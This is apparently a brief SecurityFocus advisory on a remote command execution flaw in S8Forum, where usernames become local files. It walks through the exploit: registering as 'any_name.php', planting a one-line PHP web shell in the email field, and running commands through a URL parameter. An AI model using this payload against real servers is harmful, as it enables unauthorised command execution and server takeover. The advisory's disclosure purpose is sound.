source: http://www.securityfocus.com/bid/6547/info

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP. 

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a